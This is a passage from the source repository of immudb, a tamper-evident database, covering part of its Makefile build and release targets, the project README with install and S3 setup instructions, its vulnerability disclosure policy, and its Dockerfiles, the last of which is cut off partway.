$(IMMUDB_BUILD_TAGS) -v -ldflags '$(V_LDFLAGS_COMMON)' ./cmd/immudb .PHONY: immutest immutest: $(GO) build -v -ldflags '$(V_LDFLAGS_COMMON)' ./cmd/immutest .PHONY: immuclient-static immuclient-static: $(V_GO_ENV_FLAGS) CGO_ENABLED=0 $(GO) build $(V_BUILD_FLAG) -a -ldflags '$(V_LDFLAGS_STATIC)' ./cmd/immuclient .PHONY: immuclient-fips immuclient-fips: CGO_ENABLED=1 GOOS=linux GOARCH=amd64 $(GO) build -tags=fips -a -o immuclient -ldflags '$(V_LDFLAGS_FIPS_BUILD)' ./cmd/immuclient/fips ./build/fips/check-fips.sh immuclient .PHONY: immuadmin-static immuadmin-static: $(V_GO_ENV_FLAGS) CGO_ENABLED=0 $(GO) build $(V_BUILD_FLAG) -a -ldflags '$(V_LDFLAGS_STATIC)' ./cmd/immuadmin .PHONY: immuadmin-fips immuadmin-fips: CGO_ENABLED=1 GOOS=linux GOARCH=amd64 $(GO) build -tags=fips -a -o immuadmin -ldflags '$(V_LDFLAGS_FIPS_BUILD)' ./cmd/immuadmin/fips ./build/fips/check-fips.sh immuadmin .PHONY: immudb-static immudb-static: webconsole $(V_GO_ENV_FLAGS) CGO_ENABLED=0 $(GO) build $(V_BUILD_FLAG) $(IMMUDB_BUILD_TAGS) -a -ldflags '$(V_LDFLAGS_STATIC)' ./cmd/immudb .PHONY: immudb-fips immudb-fips: webconsole CGO_ENABLED=1 GOOS=linux GOARCH=amd64 WEBCONSOLE=default $(GO) build -tags=webconsole,fips -a -o immudb -ldflags '$(V_LDFLAGS_FIPS_BUILD)' ./cmd/immudb/fips ./build/fips/check-fips.sh immudb .PHONY: immutest-static immutest-static: CGO_ENABLED=0 $(GO) build -a -ldflags '$(V_LDFLAGS_STATIC)' ./cmd/immutest .PHONY: vendor vendor: $(GO) mod vendor .PHONY: test test: $(GO) vet ./... LOG_LEVEL=error $(GO) test -v -failfast ./... ${GO_TEST_FLAGS} # build FIPS binary from docker image .PHONY: test/fips test/fips: $(DOCKER) build -t fips:test-build -f build/fips/Dockerfile.build . $(DOCKER) run --rm fips:test-build -c "GO_TEST_FLAGS='-tags fips' make test" .PHONY: test-client test-client: $(GO) test -v -failfast ./pkg/client ${GO_TEST_FLAGS} # To view coverage as HTML run: go tool cover -html=coverage.txt .PHONY: coverage coverage: go-acc ./... --covermode=atomic --ignore=test,immuclient,immuadmin,helper,cmdtest,sservice,version,tools,webconsole,protomodel,schema,swagger cat coverage.txt | grep -v "schema" | grep -v "protomodel" | grep -v "swagger" | grep -v "webserver.go" | grep -v "immuclient" | grep -v "immuadmin" | grep -v "helper" | grep -v "cmdtest" | grep -v "sservice" | grep -v "version" > coverage.out $(GO) tool cover -func coverage.out .PHONY: build/codegen build/codegen: $(PWD)/ext-tools/buf format -w $(PROTOC) -I pkg/api/schema/ pkg/api/schema/schema.proto \ -I$(GOPATH)/pkg/mod \ -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION) \ -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION)/third_party/googleapis \ --go_out=paths=source_relative:pkg/api/schema \ --go-grpc_out=require_unimplemented_servers=false,paths=source_relative:pkg/api/schema \ --grpc-gateway_out=logtostderr=true,paths=source_relative:pkg/api/schema \ --doc_out=pkg/api/schema --doc_opt=markdown,docs.md \ --swagger_out=logtostderr=true:pkg/api/schema \ .PHONY: build/codegenv2 build/codegenv2: $(PWD)/ext-tools/buf format -w $(PROTOC) -I pkg/api/proto/ pkg/api/proto/authorization.proto pkg/api/proto/documents.proto \ -I pkg/api/schema/ \ -I$(GOPATH)/pkg/mod \ -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION) \ -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION)/third_party/googleapis \ --go_out=paths=source_relative:pkg/api/protomodel \ --go-grpc_out=require_unimplemented_servers=false,paths=source_relative:pkg/api/protomodel \ --grpc-gateway_out=logtostderr=true,paths=source_relative:pkg/api/protomodel \ --doc_out=pkg/api/protomodel --doc_opt=markdown,docs.md \ --swagger_out=logtostderr=true,allow_merge=true,simple_operation_ids=true:pkg/api/openapi \ ./swagger/dist: rm -rf swagger/dist/ curl -L $(SWAGGERUILINK) | tar -xz -C swagger mv swagger/swagger-ui-$(SWAGGERUIVERSION)/dist/ swagger/ && rm -rf swagger/swagger-ui-$(SWAGGERUIVERSION) cp pkg/api/openapi/apidocs.swagger.json swagger/dist/apidocs.swagger.json cp pkg/api/schema/schema.swagger.json swagger/dist/schema.swagger.json cp swagger/swaggeroverrides.js swagger/dist/swagger-initializer.js .PHONY: swagger ifeq ($(SWAGGER),true) swagger: ./swagger/dist env -u GOOS -u GOARCH $(GO) generate $(IMMUDB_BUILD_TAGS) ./swagger else swagger: env -u GOOS -u GOARCH $(GO) generate $(IMMUDB_BUILD_TAGS) ./swagger endif .PHONY: clean clean: rm -rf immudb immuclient immuadmin immutest ./webconsole/dist ./swagger/dist .PHONY: man man: $(GO) run ./cmd/immuclient mangen ./cmd/docs/man/immuclient $(GO) run ./cmd/immuadmin mangen ./cmd/docs/man/immuadmin $(GO) run ./cmd/immudb mangen ./cmd/docs/man/immudb $(GO) run ./cmd/immutest mangen ./cmd/docs/man/immutest .PHONY: prerequisites prerequisites: $(GO) mod tidy -compat=1.17 cat tools.go | grep _ | awk -F'"' '{print $$2}' | xargs -tI % go install % ########################## releases scripts ############################################################################ .PHONY: CHANGELOG.md CHANGELOG.md: git-chglog -o CHANGELOG.md .PHONY: CHANGELOG.md.next-tag CHANGELOG.md.next-tag: git-chglog -o CHANGELOG.md --next-tag v${VERSION} .PHONY: clean/dist clean/dist: rm -Rf ./dist # WEBCONSOLE=default make dist # it enables by default webconsole .PHONY: dist dist: webconsole dist/binaries dist/fips @echo 'Binaries generation complete. Now vcn signature is needed.' # build FIPS binary from docker image (no arm or non-linux support) .PHONY: dist/fips dist/fips: clean $(DOCKER) build -t fips:build -f build/fips/Dockerfile.build . $(DOCKER) run -v ${PWD}:/src --user root --rm fips:build -c "WEBCONSOLE=default make immudb-fips" mv immudb ./dist/immudb-v${VERSION}-linux-amd64-fips $(DOCKER) run -v ${PWD}:/src --user root --rm fips:build -c "make immuclient-fips" mv immuclient ./dist/immuclient-v${VERSION}-linux-amd64-fips $(DOCKER) run -v ${PWD}:/src --user root --rm fips:build -c "make immuadmin-fips" mv immuadmin ./dist/immuadmin-v${VERSION}-linux-amd64-fips .PHONY: dist/binaries dist/binaries: mkdir -p dist; \ for service in ${SERVICES}; do \ for os_arch in ${TARGETS}; do \ goos=`echo $$os_arch|sed 's|/.*||'`; \ goarch=`echo $$os_arch|sed 's|^.*/||'`; \ GOOS=$$goos GOARCH=$$goarch V_BUILD_NAME=./dist/$$service-v${VERSION}-$$goos-$$goarch make $$service ; \ done; \ CGO_ENABLED=0 GOOS=linux GOARCH=amd64 V_BUILD_NAME=./dist/$$service-v${VERSION}-linux-amd64-static make $$service-static ; \ mv ./dist/$$service-v${VERSION}-windows-amd64 ./dist/$$service-v${VERSION}-windows-amd64.exe; \ done .PHONY: dist/winsign dist/winsign: for service in ${SERVICES}; do \ echo ${SIGNCODE_PVK_PASSWORD} | $(DOCKER) run --rm -i \ -v ${PWD}/dist:/dist \ -v ${SIGNCODE_SPC}:/certs/f.spc:ro \ -v ${SIGNCODE_PVK}:/certs/f.pvk:ro \ mono:6.8.0 signcode \ -spc /certs/f.spc -v /certs/f.pvk \ -a sha1 -$ commercial \ -n "CodeNotary $$service" \ -i https://codenotary.io/ \ -t http://timestamp.comodoca.com -tr 10 \ dist/$$service-v${VERSION}-windows-amd64.exe; \ rm ./dist/$$service-v${VERSION}-windows-amd64.exe.bak -f; \ done .PHONY: dist/sign dist/sign: for f in ./dist/*; do cas n $$f; printf "\n\n"; done .PHONY: dist/binary.md dist/binary.md: @build/gen-downloads-md.sh "${VERSION}" ./webconsole/dist: ifeq (${WEBCONSOLE}, default) @echo "Using webconsole version: ${DEFAULT_WEBCONSOLE_VERSION}" curl -L https://github.com/codenotary/immudb-webconsole/releases/download/v${DEFAULT_WEBCONSOLE_VERSION}/immudb-webconsole.tar.gz | tar -xvz -C webconsole else ifeq (${WEBCONSOLE}, latest) @echo "Using webconsole version: latest" curl -L https://github.com/codenotary/immudb-webconsole/releases/latest/download/immudb-webconsole.tar.gz | tar -xvz -C webconsole else ifeq (${WEBCONSOLE}, 1) @echo "The meaning of the 'WEBCONSOLE' variable has changed, please specify one of:" @echo " default - to use the default version of the webconsole for this immudb release" @echo " latest - to use the latest version of the webconsole" @echo " - to use a specific version of the webconsole" @exit 1 else @echo "Using webconsole version: ${WEBCONSOLE}" curl -L https://github.com/codenotary/immudb-webconsole/releases/download/v${WEBCONSOLE}/immudb-webconsole.tar.gz | tar -xvz -C webconsole endif ########################## releases scripts end ######################################################################## ================================================ FILE: README.md ================================================ # immudb [![Documentation](https://img.shields.io/website?label=Docs&url=https%3A%2F%2Fdocs.immudb.io%2F)](https://docs.immudb.io/) [![Build Status](https://github.com/codenotary/immudb/actions/workflows/push.yml/badge.svg)](https://github.com/codenotary/immudb/actions/workflows/push.yml) [![Go Report Card](https://goreportcard.com/badge/github.com/codenotary/immudb)](https://goreportcard.com/report/github.com/codenotary/immudb) [![View SBOM](https://img.shields.io/badge/sbom.sh-viewSBOM-blue?link=https%3A%2F%2Fsbom.sh%2F37cbffcf-1bd3-4daf-86b7-77deb71575b7)](https://sbom.sh/37cbffcf-1bd3-4daf-86b7-77deb71575b7) [![Homebrew](https://img.shields.io/homebrew/v/immudb)](https://formulae.brew.sh/formula/immudb) [![Discord](https://img.shields.io/discord/831257098368319569)](https://discord.gg/EWeCbkjZVu) [![Immudb Careers](https://img.shields.io/badge/careers-We%20are%20hiring!-blue?style=flat)](https://www.codenotary.com/job) [![Artifact Hub](https://img.shields.io/endpoint?url=https://artifacthub.io/badge/repository/codenotary)](https://artifacthub.io/packages/search?repo=codenotary) Don't forget to ⭐ this repo if you like immudb! [:tada: 27M pulls from docker hub!](https://hub.docker.com/r/codenotary) --- Detailed documentation can be found at https://docs.immudb.io/ --- immudb is a database with built-in cryptographic proof and verification. It tracks changes in sensitive data and the integrity of the history will be protected by the clients, without the need to trust the database. It can operate as a key-value store, as a document model database, and/or as relational database (SQL). Traditional database transactions and logs are mutable, and therefore there is no way to know for sure if your data has been compromised. immudb is immutable. You can add new versions of existing records, but never change or delete records. This lets you store critical data without fear of it being tampered. Data stored in immudb is cryptographically coherent and verifiable. Unlike blockchains, immudb can handle millions of transactions per second, and can be used both as a lightweight service or embedded in your application as a library. immudb runs everywhere, on an IoT device, your notebook, a server, on-premise or in the cloud. When used as a relational data database, it supports both transactions and blobs, so there are no limits to the use cases. Developers and organizations use immudb to secure and tamper-evident log data, sensor data, sensitive data, transactions, software build recipes, rule-base data, artifacts and even video streams. [Examples of organizations using immudb today.](https://www.immudb.io) ## Contents - [immudb](#immudb) - [Contents](#contents) - [Quickstart](#quickstart) - [Getting immudb running: executable](#getting-immudb-running-executable) - [Getting immudb running: docker](#getting-immudb-running-docker) - [Getting immudb running: kubernetes](#getting-immudb-running-kubernetes) - [Using subfolders](#using-subfolders) - [Enabling Amazon S3 storage](#enabling-amazon-s3-storage) - [Connecting with immuclient](#connecting-with-immuclient) - [Using immudb](#using-immudb) - [Real world examples](#real-world-examples) - [How to integrate immudb in your application](#how-to-integrate-immudb-in-your-application) - [Online demo environment](#online-demo-environment) - [Tech specs](#tech-specs) - [Performance figures](#performance-figures) - [Roadmap](#roadmap) - [Projects using immudb](#projects-using-immudb) - [Contributing](#contributing) ## Quickstart ### Getting immudb running: executable You may download the immudb binary from [the latest releases on Github](https://github.com/codenotary/immudb/releases/latest). Once you have downloaded immudb, rename it to `immudb`, make sure to mark it as executable, then run it. The following example shows how to obtain v1.9.5 for linux amd64: ```bash wget https://github.com/codenotary/immudb/releases/download/v1.9.5/immudb-v1.9.5-linux-amd64 mv immudb-v1.9.5-linux-amd64 immudb chmod +x immudb # run immudb in the foreground to see all output ./immudb # or run immudb in the background ./immudb -d ``` ### Getting immudb running: Docker Use Docker to run immudb in a ready-to-use container: ```bash docker run -d --net host -it --rm --name immudb codenotary/immudb:latest ``` If you are running the Docker image without host networking, make sure to expose ports 3322 and 9497. ### Getting immudb running: Kubernetes In kubernetes, use helm for an easy deployment: just add our repository and install immudb with these simple commands: ```bash helm repo add immudb https://packages.codenotary.org/helm helm repo update helm install immudb/immudb --generate-name ``` ### Using subfolders Immudb helm chart creates a persistent volume for storing immudb database. Those database are now by default placed in a subdirectory. That's for compatibility with ext4 volumes that have a `/lost+found` directory that can confuse immudb. Some volume providers, like EBS or DigitalOcean, are using this kind of volumes. If we placed database directory on the root of the volume, that `/lost+found` would be treated as a database. So we now create a subpath (usually `immudb`) subpath for storing that. This is different from what we did on older (<=1.3.1) helm charts, so if you have already some volumes with data you can set value volumeSubPath to false (i.e.: `--set volumeSubPath.enabled=false`) when upgrading so that the old way is used. You can alternatively migrate the data in a `/immudb` directory. You can use this pod as a reference for the job: ```yaml apiVersion: v1 kind: Pod metadata: name: migrator spec: volumes: - name: "vol0" persistentVolumeClaim: claimName: containers: - name: migrator image: busybox volumeMounts: - mountPath: "/data" name: "vol0" command: - sh - -c - | mkdir -p /data/immudb ls /data | grep -v -E 'immudb|lost\+found'|while read i; do mv /data/$i /data/immudb/$i; done ``` As said before, you can totally disable the use of subPath by setting `volumeSubPath.enabled=false`. You can also tune the subfolder path using `volumeSubPath.path` value, if you prefer your data on a different directory than the default `immudb`. ### Enabling Amazon S3 storage immudb can store its data in the Amazon S3 service (or a compatible alternative). The following example shows how to run immudb with the S3 storage enabled: ```bash export IMMUDB_S3_STORAGE=true export IMMUDB_S3_ACCESS_KEY_ID= export IMMUDB_S3_SECRET_KEY= export IMMUDB_S3_BUCKET_NAME= export IMMUDB_S3_LOCATION= export IMMUDB_S3_PATH_PREFIX=testing-001 export IMMUDB_S3_ENDPOINT="https://${IMMUDB_S3_BUCKET_NAME}.s3.${IMMUDB_S3_LOCATION}.amazonaws.com" ./immudb ``` When working with the external storage, you can enable the option for the remote storage to be the primary source of identifier. This way, if immudb is run using ephemeral disks, such as with AWS ECS Fargate, the identifier can be taken from S3. To enable that, use: ```bash export IMMUDB_S3_EXTERNAL_IDENTIFIER=true ``` You can also use the role-based credentials for more flexible and secure configuration. This allows the service to be used with instance role configuration without a user entity. The following example shows how to run immudb with the S3 storage enabled using AWS Roles: ```bash export IMMUDB_S3_STORAGE=true export IMMUDB_S3_ROLE_ENABLED=true export IMMUDB_S3_BUCKET_NAME= export IMMUDB_S3_LOCATION= export IMMUDB_S3_PATH_PREFIX=testing-001 export IMMUDB_S3_ENDPOINT="https://${IMMUDB_S3_BUCKET_NAME}.s3.${IMMUDB_S3_LOCATION}.amazonaws.com" ./immudb ``` If using Fargate, the credentials URL can be sourced automatically: ```bash export IMMUDB_S3_USE_FARGATE_CREDENTIALS=true ``` Optionally, you can specify the exact role immudb should be using with: ```bash export IMMUDB_S3_ROLE= ``` Remember, the `IMMUDB_S3_ROLE_ENABLED` parameter still should be on. You can also easily use immudb with compatible s3 alternatives such as the [minio](https://github.com/minio/minio) server: ```bash export IMMUDB_S3_ACCESS_KEY_ID=minioadmin export IMMUDB_S3_SECRET_KEY=minioadmin export IMMUDB_S3_STORAGE=true export IMMUDB_S3_BUCKET_NAME=immudb-bucket export IMMUDB_S3_PATH_PREFIX=testing-001 export IMMUDB_S3_ENDPOINT="http://localhost:9000" # Note: This spawns a temporary minio server without data persistence docker run -d -p 9000:9000 minio/minio server /data # Create the bucket - this can also be done through web console at http://localhost:9000 docker run --net=host -it --entrypoint /bin/sh minio/mc -c " mc alias set local http://localhost:9000 minioadmin minioadmin && mc mb local/${IMMUDB_S3_BUCKET_NAME} " # Run immudb instance ./immudb ``` ### Connecting with immuclient You may download the immuclient binary from [the latest releases on Github](https://github.com/codenotary/immudb/releases/latest). Once you have downloaded immuclient, rename it to `immuclient`, make sure to mark it as executable, then run it. The following example shows how to obtain v1.5.0 for linux amd64: ```bash wget https://github.com/codenotary/immudb/releases/download/v1.5.0/immuclient-v1.5.0-linux-amd64 mv immuclient-v1.5.0-linux-amd64 immuclient chmod +x immuclient # start the interactive shell ./immuclient # or use commands directly ./immuclient help ``` Or just use Docker to run immuclient in a ready-to-use container. Nice and simple. ```bash docker run -it --rm --net host --name immuclient codenotary/immuclient:latest ``` ## Using immudb Lot of useful documentation and step by step guides can be found at https://docs.immudb.io/ ### Real world examples We already learned about the following use cases from users: - use immudb to immutably store every update to sensitive database fields (credit card or bank account data) of an existing application database - store CI/CD recipes in immudb to protect build and deployment pipelines - store public certificates in immudb - use immudb as an additional hash storage for digital objects checksums - store log streams (i. e. audit logs) tamperproof - store the last known positions of submarines - record the location where fish was found aboard fishing trawlers ### How to integrate immudb in your application We have SDKs available for the following programming languages: 1. Java [immudb4j](https://github.com/codenotary/immudb4j) 2. Golang ([golang sdk](https://pkg.go.dev/github.com/codenotary/immudb/pkg/client), [Gorm adapter](https://github.com/codenotary/immugorm)) 3. .net [immudb4net](https://github.com/codenotary/immudb4net) 4. Python [immudb-py](https://github.com/codenotary/immudb-py) 5. Node.js [immudb-node](https://github.com/codenotary/immudb-node) To get started with development, there is a [quickstart in our documentation](https://docs.immudb.io/master/immudb.html): or pick a basic running sample from [immudb-client-examples](https://github.com/codenotary/immudb-client-examples). Our [immudb Playground](https://play.codenotary.com) provides a guided environment to learn the Python SDK. We've developed a "language-agnostic SDK" which exposes a REST API for easy consumption by any application. [immugw](https://github.com/codenotary/immugw) may be a convenient tool when SDKs are not available for the programming language you're using, for experimentation, or just because you prefer your app only uses REST endpoints. ### Online demo environment Click here to try out the immudb web console access in an [online demo environment](https://demo.immudb.io) (username: immudb; password: immudb) ## Tech specs | Topic | Description | | ----------------------- | --------------------------------------------------- | | DB Model | Key-Value with 3D access, Document Model, SQL | | Data scheme | schema-free | | Implementation design | Cryptographic commit log with parallel Merkle Tree, | | | (sync/async) indexing with extended B-tree | | Implementation language | Go | | Server OS(s) | BSD, Linux, OS X, Solaris, Windows, IBM z/OS | | Embeddable | Yes, optionally | | Server APIs | gRPC | | Partition methods | Sharding | | Consistency concepts | Immediate Consistency | | Transaction concepts | ACID with Snapshot Isolation (SSI) | | Durability | Yes | | Snapshots | Yes | | High Read throughput | Yes | | High Write throughput | Yes | | Optimized for SSD | Yes | ## Performance figures immudb can handle millions of writes per second. The following table shows performance of the embedded store inserting 1M entries on a machine with 4-core E3-1275v6 CPU and SSD disk: | Entries | Workers | Batch | Batches | time (s) | Entries/s | | ------- | ------- | ----- | ------- | -------- | --------- | | 1M | 20 | 1000 | 50 | 1.061 | 1.2M /s | | 1M | 50 | 1000 | 20 | 0.543 | 1.8M /s | | 1M | 100 | 1000 | 10 | 0.615 | 1.6M /s | You can generate your own benchmarks using the `stress_tool` under `embedded/tools`. ## Roadmap The following topics are important to us and are planned or already being worked on: * Data pruning * Compression * compatibility with other database storage files * Easier API for developers * API compatibility with other, well-known embedded databases ## Projects using immudb Below is a list of known projects that use immudb: - [alma-sbom](https://github.com/AlmaLinux/alma-sbom) - AlmaLinux OS SBOM data management utility. - [immudb-log-audit](https://github.com/codenotary/immudb-log-audit) - A service and cli tool to store json formatted log input and audit it later in immudb Vault. - [immudb-operator](https://github.com/unagex/immudb-operator) - Unagex Kubernetes Operator for immudb. - [immufluent](https://github.com/codenotary/immufluent) - Send fluentbit collected logs to immudb. - [immuvoting](https://github.com/padurean/immuvoting) - Publicly cryptographically verifiable electronic voting system powered by immudb. Are you using immudb in your project? Open a pull request to add it to the list. ## Contributing We welcome [contributors](CONTRIBUTING.md). Feel free to join the team! Learn how to [build](BUILD.md) immudb components in both binary and Docker image form. To report bugs or get help, use [GitHub's issues](https://github.com/codenotary/immudb/issues). immudb is licensed under the [Business Source License 1.1](LICENSE). immudb re-distributes other open-source tools and libraries - [Acknowledgements](ACKNOWLEDGEMENTS.md). ================================================ FILE: SECURITY.md ================================================ # Security Policy ## Table of contents 1. Introduction 2. Scope 3. Supported Versions 4. Reporting a Vulnerability 5. Guidelines 6. Test methods 7. Authorization 8. Questions ## Introduction Codenotary, September 16th 2022 *This security policy is based on [this template](https://www.cisa.gov/vulnerability-disclosure-policy-template).* Codenotary is committed to ensuring the security of the global public by protecting their information. This policy is intended to give security researchers clear guidelines for conducting vulnerability discovery activities and to convey our preferences in how to submit discovered vulnerabilities to us. This policy is addressed to people using the immudb and / or contributing to the project. It describes **what systems and types of research** are covered under this policy, **how to send** us vulnerability reports, and **how long** we ask security researchers to wait before publicly disclosing vulnerabilities. We encourage you to contact us to report potential vulnerabilities in our systems. ## Scope This policy applies to the following systems and services: - immudb database core application, - immuadmin and immuclient applications - golang immudb SDK Source code of the above tools [is available on GH](https://github.com/codenotary/immudb). Also: - Java immudb SDK ([repo link](https://github.com/codenotary/immudb4j)) - Python immudb SDK ([repo link](https://github.com/codenotary/immudb-py)) - .Net immudb SDK ([repo link](https://github.com/codenotary/immudb4net)) - Nodejs SDK ([repo link](https://github.com/codenotary/immudb-node)) Any service not expressly listed above, such as any connected services, are excluded from scope and are not authorized for testing. Additionally, vulnerabilities found in systems from our vendors fall outside of this policy’s scope and should be reported directly to the vendor according to their disclosure policy (if any). If you aren’t sure whether a system is in scope or not, contact us at (immudb-security at codenotary.com) before starting your research (or at the security contact for the system’s domain name listed in the .gov WHOIS). Though we develop and maintain other internet-accessible systems or services, we ask that active research and testing only be conducted on the systems and services covered by the scope of this document. If there is a particular system not in scope that you think merits testing, please contact us to discuss it first. We will increase the scope of this policy over time. Other immudb SDK repositories that are not covered by this policy: - Ruby on rails SDK ([repo link](https://github.com/ankane/immudb-ruby)) ## Supported Versions Only the latest version will be supported with security updates. ## Reporting a vulnerability **IMPORTANT: Do not file public issues on GitHub for security vulnerabilities.** We accept vulnerability reports via (immudb-security at codenotary.com). Reports may be submitted anonymously. If you share contact information, we will acknowledge receipt of your report within 3 business days. We do not support PGP-encrypted emails. In order to help us triage and prioritize submissions, we recommend that your reports: - Describe the location the vulnerability was discovered and the potential impact of exploitation. - Offer a detailed description of the steps needed to reproduce the vulnerability (proof of concept scripts or screenshots are helpful). - Explain how the vulnerability affects immudb usage and an estimation of the attack surface, if there is one. - List other projects or dependencies that were used in conjunction with Pinniped to produce the vulnerability. - Be in English, if possible. What you can expect from us: - When you choose to share your contact information with us, we commit to coordinating with you as openly and as quickly as possible. - Within 3 business days, we will acknowledge that your report has been received. - To the best of our ability, we will confirm the existence of the vulnerability to you and be as transparent as possible about what steps we are taking during the remediation process, including on issues or challenges that may delay resolution. - A public disclosure date is negotiated by the immudb team, the SDK developers and the bug submitter. We prefer to fully disclose the bug as soon as possible once a user mitigation or patch is available. It is reasonable to delay disclosure when the bug or the fix is not yet fully understood, the solution is not well-tested, or for distributor coordination. The timeframe for disclosure is from immediate (especially if it’s already publicly known) to a maximum of 90 business days. We will maintain an open dialogue to discuss issues. ## Guidelines Under this policy, “research” means activities in which you: - Notify us as soon as possible after you discover a real or potential security issue. - Make every effort to avoid privacy violations, degradation of user experience, disruption to production systems, and destruction or manipulation of data. - Only use exploits to the extent necessary to confirm a vulnerability’s presence. Do not use an exploit to compromise or exfiltrate data, establish persistent command line access, or use the exploit to pivot to other systems. - Provide us a reasonable amount of time to resolve the issue before you disclose it publicly. - Do not submit a high volume of low-quality reports. Once you’ve established that a vulnerability exists or encounter any sensitive data (including personally identifiable information, financial information, or proprietary information or trade secrets of any party), **you must stop your test, notify us immediately, and not disclose this data to anyone else.** ## Test methods The following test methods are not authorized: - Network denial of service (DoS or DDoS) tests or other tests that impair access to or damage a system or data - Physical testing (e.g. office access, open doors, tailgating), social engineering (e.g. phishing, vishing), or any other non-technical vulnerability testing ## Authorization If you make a good faith effort to comply with this policy during your security research, we will consider your research to be authorized, we will work with you to understand and resolve the issue quickly, and Codenotary will not recommend or pursue legal action related to your research. Should legal action be initiated by a third party against you for activities that were conducted in accordance with this policy, we will make this authorization known. ## Questions Questions regarding this policy may be sent to immudb-security at codenotary.com. We also invite you to contact us with suggestions for improving this policy. ## Document change history | Version Date | Description | | ------- | ------------------ | | Sept. 7th 2022 | First version | | Sept. 16th 2022 | Reorganization and corrections | | October. 14th 2022 | Supported versions | | October, 18th 2022 | Commit following Conventional Commit specification | ================================================ FILE: build/Dockerfile ================================================ FROM golang:1.24 as build ARG BUILD_ARCH=amd64 WORKDIR /src COPY go.mod go.sum /src/ RUN go mod download -x COPY . . RUN make clean RUN make prerequisites RUN make swagger RUN make swagger/dist RUN GOOS=linux GOARCH=${BUILD_ARCH} WEBCONSOLE=default SWAGGER=true make immudb-static RUN GOOS=linux GOARCH=${BUILD_ARCH} make immuadmin-static RUN mkdir /empty FROM debian:bullseye-slim as bullseye-slim LABEL org.opencontainers.image.authors="Codenotary Inc. " COPY --from=build /src/immudb /usr/sbin/immudb COPY --from=build /src/immuadmin /usr/local/bin/immuadmin COPY --from=build "/etc/ssl/certs/ca-certificates.crt" "/etc/ssl/certs/ca-certificates.crt" ARG IMMU_UID="3322" ARG IMMU_GID="3322" ENV IMMUDB_HOME="/usr/share/immudb" \ IMMUDB_DIR="/var/lib/immudb" \ IMMUDB_ADDRESS="0.0.0.0" \ IMMUDB_PORT="3322" \ IMMUDB_PIDFILE="" \ IMMUDB_LOGFILE="" \ IMMUDB_MTLS="false" \ IMMUDB_AUTH="true" \ IMMUDB_DETACHED="false" \ IMMUDB_DEVMODE="true" \ IMMUDB_MAINTENANCE="false" \ IMMUDB_ADMIN_PASSWORD="immudb" \ IMMUDB_PGSQL_SERVER="true" \ IMMUADMIN_TOKENFILE="/var/lib/immudb/admin_token" RUN addgroup --system --gid $IMMU_GID immu && \ adduser --system --uid $IMMU_UID --no-create-home --ingroup immu immu && \ mkdir -p "$IMMUDB_HOME" && \ mkdir -p "$IMMUDB_DIR" && \ chown -R immu:immu "$IMMUDB_HOME" "$IMMUDB_DIR" && \ chmod -R 755 "$IMMUDB_HOME" "$IMMUDB_DIR" && \ chmod +x /usr/sbin/immudb /usr/local/bin/immuadmin EXPOSE 3322 EXPOSE 9497 EXPOSE 8080 EXPOSE 5432 HEALTHCHECK --interval=30s --timeout=30s --start-period=5s --retries=3 CMD [ "/usr/local/bin/immuadmin", "status" ] USER immu ENTRYPOINT ["/usr/sbin/immudb"] FROM scratch as scratch LABEL org.opencontainers.image.authors="Codenotary Inc. " ARG IMMU_UID="3322" ARG IMMU_GID="3322" ARG IMMUDB_HOME="/usr/share/immudb" ENV IMMUDB_HOME="${IMMUDB_HOME}" \ IMMUDB_DIR="/var/lib/immudb" \ IMMUDB_ADDRESS="0.0.0.0" \ IMMUDB_PORT="3322" \ IMMUDB_PIDFILE="" \ IMMUDB_LOGFILE="" \ IMMUDB_MTLS="false" \ IMMUDB_AUTH="true" \ IMMUDB_DETACHED="false" \ IMMUDB_DEVMODE="true" \ IMMUDB_MAINTENANCE="false" \ IMMUDB_ADMIN_PASSWORD="immudb" \ IMMUDB_PGSQL_SERVER="true" \ IMMUADMIN_TOKENFILE="/var/lib/immudb/admin_token" \ USER=immu \ HOME="${IMMUDB_HOME}" COPY --from=build /src/immudb /usr/sbin/immudb COPY --from=build /src/immuadmin /usr/local/bin/immuadmin COPY --from=build --chown="$IMMU_UID:$IMMU_GID" /empty "$IMMUDB_HOME" COPY --from=build --chown="$IMMU_UID:$IMMU_GID" /empty "$IMMUDB_DIR" COPY --from=build --chown="$IMMU_UID:$IMMU_GID" /empty /tmp COPY --from=build "/etc/ssl/certs/ca-certificates.crt" "/etc/ssl/certs/ca-certificates.crt" EXPOSE 3322 EXPOSE 9497 EXPOSE 8080 EXPOSE 5432 HEALTHCHECK --interval=30s --timeout=30s --start-period=5s --retries=3 CMD [ "/usr/local/bin/immuadmin", "status" ] USER "${IMMU_UID}:${IMMU_GID}" ENTRYPOINT ["/usr/sbin/immudb"] ================================================ FILE: build/Dockerfile.alma ================================================ FROM golang:1.24 as build ARG BUILD_ARCH=amd64 WORKDIR /src COPY . . RUN make clean RUN make prerequisites RUN make swagger RUN make swagger/dist RUN GOOS=linux GOARCH=${BUILD_ARCH} WEBCONSOLE=default SWAGGER=true make immudb-static RUN GOOS=linux GOARCH=${BUILD_ARCH} make immuadmin-static RUN mkdir /empty FROM almalinux:8-minimal as alma LABEL org.opencontainers.image.authors="Codenotary Inc. " COPY --from=build /src/immudb /usr/sbin/immudb COPY --from=build /src/immuadmin /usr/local/bin/immuadmin ARG IMMU_UID="3322" ARG IMMU_GID="3322" ENV IMMUDB_HOME="/usr/share/immudb" \ IMMUDB_DIR="/var/lib/immudb" \ IMMUDB_ADDRESS="0.0.0.0" \ IMMUDB_PORT="3322" \ IMMUDB_PIDFILE="" \ IMMUDB_LOGFILE="" \ IMMUDB_MTLS="false" \ IMMUDB_AUTH="true" \ IMMUDB_DETACHED="false" \ IMMUDB_DEVMODE="true" \ IMMUDB_MAINTENANCE="false" \ IMMUDB_ADMIN_PASSWORD="immudb" \ IMMUDB_PGSQL_SERVER="true" \ IMMUADMIN_TOKENFILE="/var/lib/immudb/admin_token" RUN echo "immu:x:3322:" >> /etc/group && \ echo "immu:x:3322:3322:immudb:$IMMUDB_HOME:/bin/false" >> /etc/passwd && \ mkdir -p "$IMMUDB_HOME" && \ mkdir -p "$IMMUDB_DIR" && \ chown -R $IMMUDB_UID:$IMMUDB_GID "$IMMUDB_HOME" "$IMMUDB_DIR" && \ chmod -R 755 